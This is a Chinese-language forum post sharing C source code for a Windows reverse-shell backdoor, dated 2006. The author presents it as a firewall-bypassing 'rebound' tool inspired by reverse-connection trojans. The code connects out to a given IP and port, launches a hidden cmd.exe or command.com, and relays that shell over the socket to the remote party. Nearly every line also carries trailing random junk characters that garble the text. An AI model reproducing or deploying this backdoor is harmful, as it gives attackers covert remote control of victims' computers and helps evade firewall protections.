这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 o,qq*}=
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/* ============================== r_R(kns
Rebound port in Windows NT M~/Pk7CC
By wind,2006/7 b"4'*<=au
===============================*/ '%Fg+cZN\
#include -9PJ4"H
#include |)TI&T;k
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#pragma comment(lib,"wsock32.lib") f%,Vplb
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void OutputShell(); WZ@hP'Zc
SOCKET sClient; I1f4u6\*X
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }xx"
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void main(int argc,char **argv) /$[9-G?
{ [|qV*3|?
WSADATA stWsaData; s+m3&(X
int nRet; Ga<Uvr%+
SOCKADDR_IN stSaiClient,stSaiServer; @n|Mr/PAj
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if(argc != 3) UY5wef2sF
{ 8'sT zB]
printf("Useage:\n\rRebound DestIP DestPort\n"); w]@H]>sHd
return; (r6'q0[
} Aj{c s
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WSAStartup(MAKEWORD(2,2),&stWsaData); og[cwa_
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1j_gQ,'20
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stSaiClient.sin_family = AF_INET; QG1+*J76b@
stSaiClient.sin_port = htons(0); !l(D0 C
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )tvP|
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {<}9r6k;f
{ #Vy8<Vy&w
printf("Bind Socket Failed!\n"); omP\qOc
return; ayGcc`
} XJZ\ss
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stSaiServer.sin_family = AF_INET; @> |3d
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); n2V
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #}p@+rkg2
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) n 9>**&5L
{ C^IPddw>
printf("Connect Error!"); V?L8BRnV
return; "M;aNi^B
} fEo5j`}
OutputShell(); 8@ZZ[9kt
} T)Y{>wT
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void OutputShell() 79*f <Gr
{ 9 _oAs"w
char szBuff[1024]; .vnQZ*6
SECURITY_ATTRIBUTES stSecurityAttributes; {1eW*9
OSVERSIONINFO stOsversionInfo; 39qIoaHT
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;;|o+4Ob;
STARTUPINFO stStartupInfo; ^?V9
char *szShell; Z g.La<#
PROCESS_INFORMATION stProcessInformation; +$YHdgZ.
unsigned long lBytesRead; 7gc?7TM
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9,?7mgZp
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y3 "+4e
stSecurityAttributes.lpSecurityDescriptor = 0; 5La' I7q
stSecurityAttributes.bInheritHandle = TRUE; ^qY?x7mx1
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L`"j>),
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); G"F)t(iX
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^'ws/(
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h-<Qj,L{W
stStartupInfo.wShowWindow = SW_HIDE; |}o6N5)
stStartupInfo.hStdInput = hReadPipe; cx~XG
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~@\sN+VS
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GetVersionEx(&stOsversionInfo); 60R]Q
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switch(stOsversionInfo.dwPlatformId) 4 KX\'K
{ 4aiI&,
case 1: w{WEYS
szShell = "command.com"; ,hOi5,|?L
break; ElA(1o|9I
default: TCR|wi]
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szShell = "cmd.exe"; l3xI\{jn
break; P,rD{ 0~
} /:d6I].
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); m%cwhH_B
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send(sClient,szMsg,77,0); @R_ON"h
while(1) .(7m[-iF!
{ \ZtKaEXnx
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); af'gk&%
if(lBytesRead) LP'wL6#
{ `^HK-t4q
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]1 jhy2j
send(sClient,szBuff,lBytesRead,0); \4KV9wm
} aH_0EBRc
else CB0p2WS_
{ 8shx7"
lBytesRead=recv(sClient,szBuff,1024,0); qg2Vmj<H
if(lBytesRead<=0) break; {kghZur
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Vb)NWXmyu
} (]` rri*^
}
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return; s o7.$]aV
}